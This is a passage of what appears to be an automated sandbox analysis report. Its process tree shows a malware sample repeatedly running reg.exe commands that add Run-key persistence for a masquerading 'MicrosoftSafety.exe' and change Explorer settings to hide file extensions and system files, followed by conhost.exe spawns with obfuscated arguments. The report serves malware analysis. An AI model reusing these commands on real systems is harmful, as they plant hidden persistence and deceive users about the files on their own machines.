                                                                                                    3⤵
                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                    PID:3704
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                                      4⤵
                                                                                                      • Adds Run key to start application
                                                                                                      PID:3160
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                                    3⤵
                                                                                                      PID:836
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                                        4⤵
                                                                                                        • Adds Run key to start application
                                                                                                        PID:3828
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
                                                                                                      3⤵
                                                                                                        PID:3560
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
                                                                                                          4⤵
                                                                                                          • Modifies visibility of file extensions in Explorer
                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                          PID:1784
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
                                                                                                        3⤵
                                                                                                          PID:3232
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
                                                                                                            4⤵
                                                                                                            • Modifies visiblity of hidden/system files in Explorer
                                                                                                            PID:3132
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                          cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                                          3⤵
                                                                                                            PID:3216
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                                              4⤵
                                                                                                              • Adds Run key to start application
                                                                                                              PID:2476
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                                            3⤵
                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                            PID:3104
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                                              4⤵
                                                                                                              • Adds Run key to start application
                                                                                                              PID:3820
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
                                                                                                            3⤵
                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                            PID:3248
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
                                                                                                              4⤵
                                                                                                              • Modifies visibility of file extensions in Explorer
                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                              PID:876
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
                                                                                                            3⤵
                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                            PID:3696
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
                                                                                                              4⤵
                                                                                                              • Modifies visiblity of hidden/system files in Explorer
                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                              PID:3968
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                                            3⤵
                                                                                                              PID:2904
                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                                                4⤵
                                                                                                                • Adds Run key to start application
                                                                                                                PID:4000
                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                              cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                                              3⤵
                                                                                                                PID:3284
                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                  reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                                                  4⤵
                                                                                                                  • Adds Run key to start application
                                                                                                                  PID:3972
                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
                                                                                                                3⤵
                                                                                                                  PID:3384
                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                    reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
                                                                                                                    4⤵
                                                                                                                    • Modifies visibility of file extensions in Explorer
                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                    PID:756
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
                                                                                                                  3⤵
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  PID:1176
                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                    reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
                                                                                                                    4⤵
                                                                                                                    • Modifies visiblity of hidden/system files in Explorer
                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                    PID:3472
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                                                  3⤵
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  PID:2724
                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                    reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                                                    4⤵
                                                                                                                    • Adds Run key to start application
                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                    PID:2740
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                                                  3⤵
                                                                                                                    PID:3392
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                                                      4⤵
                                                                                                                      • Adds Run key to start application
                                                                                                                      PID:3508
                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
                                                                                                                    3⤵
                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                    PID:3748
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
                                                                                                                      4⤵
                                                                                                                      • Modifies visibility of file extensions in Explorer
                                                                                                                      PID:2876
                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
                                                                                                                    3⤵
                                                                                                                      PID:3744
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
                                                                                                                        4⤵
                                                                                                                        • Modifies visiblity of hidden/system files in Explorer
                                                                                                                        PID:3776
                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                      cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                                                      3⤵
                                                                                                                        PID:2536
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                                                          4⤵
                                                                                                                          • Adds Run key to start application
                                                                                                                          PID:3880
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                                                        3⤵
                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                        PID:3864
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                                                          4⤵
                                                                                                                          • Adds Run key to start application
                                                                                                                          PID:3620
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
                                                                                                                        3⤵
                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                        PID:2264
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
                                                                                                                          4⤵
                                                                                                                          • Modifies visibility of file extensions in Explorer
                                                                                                                          PID:3336
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
                                                                                                                        3⤵
                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                        PID:1556
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
                                                                                                                          4⤵
                                                                                                                          • Modifies visiblity of hidden/system files in Explorer
                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                          PID:3360
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                                                        3⤵
                                                                                                                          PID:3952
                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                            reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                                                            4⤵
                                                                                                                            • Adds Run key to start application
                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                            PID:1544
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                                                          3⤵
                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                          PID:2988
                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                            reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                                                            4⤵
                                                                                                                            • Adds Run key to start application
                                                                                                                            PID:3496
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
                                                                                                                          3⤵
                                                                                                                            PID:2196
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
                                                                                                                              4⤵
                                                                                                                              • Modifies visibility of file extensions in Explorer
                                                                                                                              PID:344
                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                            cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
                                                                                                                            3⤵
                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                            PID:3056
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
                                                                                                                              4⤵
                                                                                                                              • Modifies visiblity of hidden/system files in Explorer
                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                              PID:1884
                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                            cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                                                            3⤵
                                                                                                                              PID:2436
                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                                                                4⤵
                                                                                                                                • Adds Run key to start application
                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                PID:3844
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                                                              3⤵
                                                                                                                                PID:2204
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                                                                  4⤵
                                                                                                                                  • Adds Run key to start application
                                                                                                                                  PID:2260
                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
                                                                                                                                3⤵
                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                PID:3712
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
                                                                                                                                  4⤵
                                                                                                                                  • Modifies visibility of file extensions in Explorer
                                                                                                                                  PID:2216
                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
                                                                                                                                3⤵
                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                PID:3836
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
                                                                                                                                  4⤵
                                                                                                                                  • Modifies visiblity of hidden/system files in Explorer
                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                  PID:2460
                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                                                                3⤵
                                                                                                                                  PID:3548
                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                    reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                                                                    4⤵
                                                                                                                                    • Adds Run key to start application
                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                    PID:300
                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                  cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                                                                  3⤵
                                                                                                                                    PID:4036
                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                                                                      4⤵
                                                                                                                                      • Adds Run key to start application
                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                      PID:872
                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
                                                                                                                                    3⤵
                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                    PID:2444
                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
                                                                                                                                      4⤵
                                                                                                                                      • Modifies visibility of file extensions in Explorer
                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                      PID:1372
                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
                                                                                                                                    3⤵
                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                    PID:2684
                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
                                                                                                                                      4⤵
                                                                                                                                      • Modifies visiblity of hidden/system files in Explorer
                                                                                                                                      PID:3040
                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                                                                    3⤵
                                                                                                                                      PID:1592
                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                                                                        4⤵
                                                                                                                                        • Adds Run key to start application
                                                                                                                                        PID:332
                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                      cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                                                                      3⤵
                                                                                                                                        PID:1588
                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                          reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                                                                          4⤵
                                                                                                                                          • Adds Run key to start application
                                                                                                                                          PID:984
                                                                                                                                  • C:\Windows\system32\DllHost.exe
                                                                                                                                    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                                                    1⤵
                                                                                                                                      PID:328
                                                                                                                                    • C:\Windows\system32\conhost.exe
                                                                                                                                      \??\C:\Windows\system32\conhost.exe "-412993636-30850382858833195514269717881947439101-674514772-253590563-1771759102"
                                                                                                                                      1⤵
                                                                                                                                        PID:1864
                                                                                                                                      • C:\Windows\system32\conhost.exe
                                                                                                                                        \??\C:\Windows\system32\conhost.exe "-3365201761854901266-1363657960-1745879187-11748118541336171153-1786900200-120672122"
                                                                                                                                        1⤵
                                                                                                                                          PID:1264
                                                                                                                                        • C:\Windows\system32\conhost.exe
                                                                                                                                          \??\C:\Windows\system32\conhost.exe "-863319597-1619933354-6663283271493749012449929354952376216-1711372823-1958243412"
                                                                                                                                          1⤵
                                                                                                                                            PID:2264
                                                                                                                                          • C:\Windows\system32\conhost.exe
                                                                                                                                            \??\C:\Windows\system32\conhost.exe "-472776916393167010-2012927407861361991097509903-1512953772-241577810-1040657476"
                                                                                                                                            1⤵
                                                                                                                                              PID:1832
                                                                                                                                            • C:\Windows\system32\conhost.exe
                                                                                                                                              \??\C:\Windows\system32\conhost.exe "-595496475-13896611471724703379-998867517-511034201863179799-376067765-65005392"
                                                                                                                                              1⤵
                                                                                                                                                PID:2324
                                                                                                                                              • C:\Windows\system32\conhost.exe
                                                                                                                                                \??\C:\Windows\system32\conhost.exe "-7298292851044377255-1928870446-203254102026251240-2064765654-135806837149640781"
                                                                                                                                                1⤵
                                                                                                                                                  PID:2860
                                                                                                                                                • C:\Windows\system32\conhost.exe
                                                                                                                                                  \??\C:\Windows\system32\conhost.exe "-122334787641678824-1288779698-14503918341622551465-365958811-6464306071158839273"
                                                                                                                                                  1⤵
                                                                                                                                                    PID:2876
                                                                                                                                                  • C:\Windows\system32\conhost.exe
                                                                                                                                                    \??\C:\Windows\system32\conhost.exe "-2008101121-9099324561481900652905467118-696028417-17910962371318181408505166491"
                                                                                                                                                    1⤵
                                                                                                                                                      PID:3020
                                                                                                                                                    • C:\Windows\system32\conhost.exe
                                                                                                                                                      \??\C:\Windows\system32\conhost.exe "170637739373818428-891519610-883123551-694012098-14689538278262963061144153931"
                                                                                                                                                      1⤵
                                                                                                                                                        PID:2752
                                                                                                                                                      • C:\Windows\system32\conhost.exe
                                                                                                                                                        \??\C:\Windows\system32\conhost.exe "-20946607492070168547-215474213-1596134017950383246236886430-163973342169758052"
                                                                                                                                                        1⤵
                                                                                                                                                          PID:2604
                                                                                                                                                        • C:\Windows\system32\conhost.exe
                                                                                                                                                          \??\C:\Windows\system32\conhost.exe "-14029152021788925745698220027-1018762486-736192077472543241-6644970202083643994"
                                                                                                                                                          1⤵
                                                                                                                                                            PID:1900
                                                                                                                                                          • C:\Windows\system32\conhost.exe
                                                                                                                                                            \??\C:\Windows\system32\conhost.exe "506257352-2089281336-1709948427-650406719870764890-1924814541-1470922605-610723782"
                                                                                                                                                            1⤵
                                                                                                                                                              PID:2016
                                                                                                                                                            • C:\Windows\system32\conhost.exe
                                                                                                                                                              \??\C:\Windows\system32\conhost.exe "-490345110-1323946176-96303441715971833281356721434-1024095405-2124474942-125654007"
                                                                                                                                                              1⤵
                                                                                                                                                                PID:2848
                                                                                                                                                              • C:\Windows\system32\conhost.exe
                                                                                                                                                                \??\C:\Windows\system32\conhost.exe "105959948-27620545-631303223-28227464-19323171521103221012-941701154-339723749"
                                                                                                                                                                1⤵
                                                                                                                                                                  PID:2900
                                                                                                                                                                • C:\Windows\system32\conhost.exe
                                                                                                                                                                  \??\C:\Windows\system32\conhost.exe "-18407268471986977822-167986848512398431781449971174-1223044101148979534-440455463"
                                                                                                                                                                  1⤵
                                                                                                                                                                    PID:2896
                                                                                                                                                                  • C:\Windows\system32\conhost.exe
                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe "-1587766761-114212769-637072217-32573429719789320071072551772-10013609981832420870"
                                                                                                                                                                    1⤵
                                                                                                                                                                      PID:2204
                                                                                                                                                                    • C:\Windows\system32\conhost.exe
                                                                                                                                                                      \??\C:\Windows\system32\conhost.exe "510942209777945464763136583118696824169012279011437350851881736784-1271732953"
                                                                                                                                                                      1⤵
                                                                                                                                                                        PID:2160
                                                                                                                                                                      • C:\Windows\system32\conhost.exe
                                                                                                                                                                        \??\C:\Windows\system32\conhost.exe "11520776431453020537519320994-1704522352-20880370153405822687970627142325038"
                                                                                                                                                                        1⤵
                                                                                                                                                                          PID:1940
                                                                                                                                                                        • C:\Windows\system32\conhost.exe
                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe "1955099541-293634261-2004483123-1893854019-498600318-1134762700-1465404582462410366"
                                                                                                                                                                          1⤵
                                                                                                                                                                            PID:2820
                                                                                                                                                                          • C:\Windows\system32\conhost.exe
                                                                                                                                                                            \??\C:\Windows\system32\conhost.exe "-1466333884-1756087768-824161300-1547030882-1879087685-1789495255-1263288286519411314"
                                                                                                                                                                            1⤵
                                                                                                                                                                              PID:560
                                                                                                                                                                            • C:\Windows\system32\conhost.exe
                                                                                                                                                                              \??\C:\Windows\system32\conhost.exe "1693122471353598796-742834821-43097509414814725201814625826-10043229351474945855"
                                                                                                                                                                              1⤵
                                                                                                                                                                                PID:2828
                                                                                                                                                                              • C:\Windows\system32\conhost.exe
                                                                                                                                                                                \??\C:\Windows\system32\conhost.exe "-3545786501352718887351887427-886631826-139481593-2112502625-7311685531144465464"
                                                                                                                                                                                1⤵
                                                                                                                                                                                  PID:2920
                                                                                                                                                                                • C:\Windows\system32\conhost.exe
                                                                                                                                                                                  \??\C:\Windows\system32\conhost.exe "1837176469-961104264-1139205764-866889989-1749302811-9405489852020661638201037239"
                                                                                                                                                                                  1⤵
                                                                                                                                                                                    PID:2944
                                                                                                                                                                                  • C:\Windows\system32\conhost.exe
                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe "1723633541-7392529097758222663245001641694307125-1501027121-17276724471064929264"
                                                                                                                                                                                    1⤵
                                                                                                                                                                                      PID:2948
                                                                                                                                                                                    • C:\Windows\system32\conhost.exe
                                                                                                                                                                                      \??\C:\Windows\system32\conhost.exe "1938095381-2090320822-1251603711707307349-1011009823-1977412888-11963537391166621399"
                                                                                                                                                                                      1⤵
                                                                                                                                                                                        PID:1040
                                                                                                                                                                                      • C:\Windows\system32\conhost.exe
                                                                                                                                                                                        \??\C:\Windows\system32\conhost.exe "-425990850494760522-174461157966924541997659285692928919867493206449140666"
                                                                                                                                                                                        1⤵
